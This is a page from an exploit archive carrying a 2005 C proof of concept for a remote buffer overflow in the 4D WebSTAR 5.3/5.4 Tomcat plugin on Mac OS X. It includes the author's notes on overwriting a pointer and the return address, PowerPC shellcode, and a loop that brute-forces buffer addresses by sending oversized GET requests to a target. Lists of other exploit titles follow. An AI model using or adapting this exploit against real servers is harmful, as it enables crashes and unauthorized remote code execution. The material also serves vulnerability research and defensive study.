Menu

Search for hundreds of thousands of exploits

"4D WebSTAR 5.3/5.4 Tomcat Plugin - Remote Buffer Overflow"

Author

Exploit author

"Braden Thomas"

Platform

Exploit platform

osx

Release date

Exploit published date

2005-05-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
// source: https://www.securityfocus.com/bid/13538/info

The Tomcat Plugin supplied with the HTTP server is reportedly prone to a remote buffer overflow vulnerability.

A successful attack can result in a crash or arbitrary code execution allowing the attacker to gain unauthorized access to the affected computer.

The Tomcat Plugin is enabled by default.

4D WebStar 5.3.3 and 5.4 were reported to be vulnerable. 

/* 4d buffer overflow
Braden Thomas

    the buffer is copied byte by byte starting from the beginning of
the buffer
        until a NULL byte is reached (or a couple other types of bytes)
    the buffer is copied from a pointer that resides past the end of
the buffer
    the buffer can overflow over this pointer, allowing the program
to read bytes to wherever it wants

    -the exploit must restore this pointer or risk reading from null
memory, terminating overflow
    -the pointer is different each time, though it's location in
relation to the buffer is static (buffer+1285)
    -the pointer is overwritten byte by byte, meaning that one wrong
byte, and we're reading from
            somewhere else... which can be potentially bad in terms
of exploitation

    method:
    -exploit attempts to: overwrite the pointer so that the memory
will continue to be overflowed
        (i.e., do not point into any memory that contains a null byte)
    -exploit attempts to continue overflowing with return addresses,
to overflow where LR is stored
    -when loop ends and LR is restored, it will return execution
into the buffer and into shellcode
    -some looping has been added, where BUFADDR is enumerated to try
to brute force the overflow
        because failed servers are respawned

    results:
        actually successful in moving the execution pointer about 10
to 25% of the time
        unsuccessful in actually jumping to the nops/shellcode :(

    problems I don't understand:
        occasionally other threads crash in weird places (memcpy and
szone_malloc)...
            this might actually be when it works as desired and
doesn't crash... but other threads do crash
            before shellcode can do its magic!
            (but that's just a hypothesis)  :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>

unsigned char shellcode[]=    // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";

#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;

int main(int argc, char *argv[])
{
    printf("4d WebSTAR buffer overflow\n");
    printf("\tBraden Thomas\n");

    if (argc<2)
    {
        printf("4dbo <target>\n");
        return 1;
    }

    struct sockaddr_in their_addr;
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(80);
    inet_aton(argv[1], &(their_addr.sin_addr));
    memset(&(their_addr.sin_zero), '\0', 8);


    int count=0;
    while (1)
    {

        char buffer[BUFSIZE];

        // [nops][shellcode][ret addrs][readaddr][more ret addrs]

        memset(buffer,0x60,sizeof(buffer));    // nops first

        int shellcodeLen = sizeof(shellcode)-1;
        memset(shellcode,'A',shellcodeLen);                // just
for testing!

        memcpy(buffer+400+5,shellcode,shellcodeLen);    // next
shellcode


        unsigned long retaddr = BUFADDR + 0x1600;        // as if it
matters... this never works!
        unsigned long *bufPtr = (unsigned long*)(buffer+400
+shellcodeLen+5);        // now for ret addrs
        int bufCnt;
        for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
        {
            memcpy(bufPtr,&retaddr,4);
            bufPtr++;
        }

        unsigned long readaddr = BUFADDR;            // now ptr read
address
                                                    // just a
guess... works pretty well tho
        memcpy(buffer+1285,&readaddr,4);

        memcpy(buffer,"GET /",5);
        char httpStr[]=" HTTP/1.1\r\n\r\n";
        memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));

        if (!count)
            printf("\nRead addr: 0x%x\nReturn addr: 0x%x
\n",readaddr,retaddr);


        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof
(struct sockaddr)) == -1)
        {
            printf("connect error\n");
            return 1;
        }
        if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
        {
            printf("send error\n");
            return 1;
        }

        struct timeval time;
        fd_set mySet;
        FD_ZERO(&mySet);
        FD_SET(sockfd, &mySet);
        time.tv_sec = 40;
        time.tv_usec = 0;
        if (!select(sockfd+1, &mySet, NULL, NULL, &time))
        {
            printf("\nNo response received.\n");
            break;
        }
        else
        {
            char resBuff[64];
            int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
            if (!readRes)
            {
                printf("\nZero length response.\n");
            }
            else if (!(count%21))
                printf("\nResponse length: %d", readRes);
            else
                printf(".");

            count++;

            if (count>=100)
            {
                count=0;
                BUFADDR+=0x200;
                if (BUFADDR>0x285c000)
                    BUFADDR=0x284f204;
            }

        }

        close(sockfd);
    }
    return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
2017-08-09 "NoMachine 5.3.9 - Local Privilege Escalation" local osx "Daniele Linguaglossa"
2017-07-15 "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass" local osx "Filippo Cavallarin"
2017-05-01 "HideMyAss Pro VPN Client for OS X 2.2.7.0 - Local Privilege Escalation" local osx "Han Sahin"
2017-04-13 "GNS3 Mac OS-X 1.5.2 - 'ubridge' Local Privilege Escalation" local osx "Hacker Fantastic"
2017-02-01 "Apple WebKit - 'HTMLFormElement::reset()' Use-After Free" dos osx "Google Security Research"
2017-01-23 "Microsoft Remote Desktop Client for Mac 8.0.36 - Code Execution" local osx "Filippo Cavallarin"
2017-01-10 "Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic" dos osx "Brandon Azad"
2016-12-16 "Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service" dos osx LiquidWorm
2016-12-16 "Horos 2.1.0 Web Portal - Directory Traversal" remote osx LiquidWorm
Release Date Title Type Platform Author
2015-05-08 "MacKeeper - URL Handler Remote Code Execution" remote osx "Braden Thomas"
2005-05-06 "4D WebSTAR 5.3/5.4 Tomcat Plugin - Remote Buffer Overflow" remote osx "Braden Thomas"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.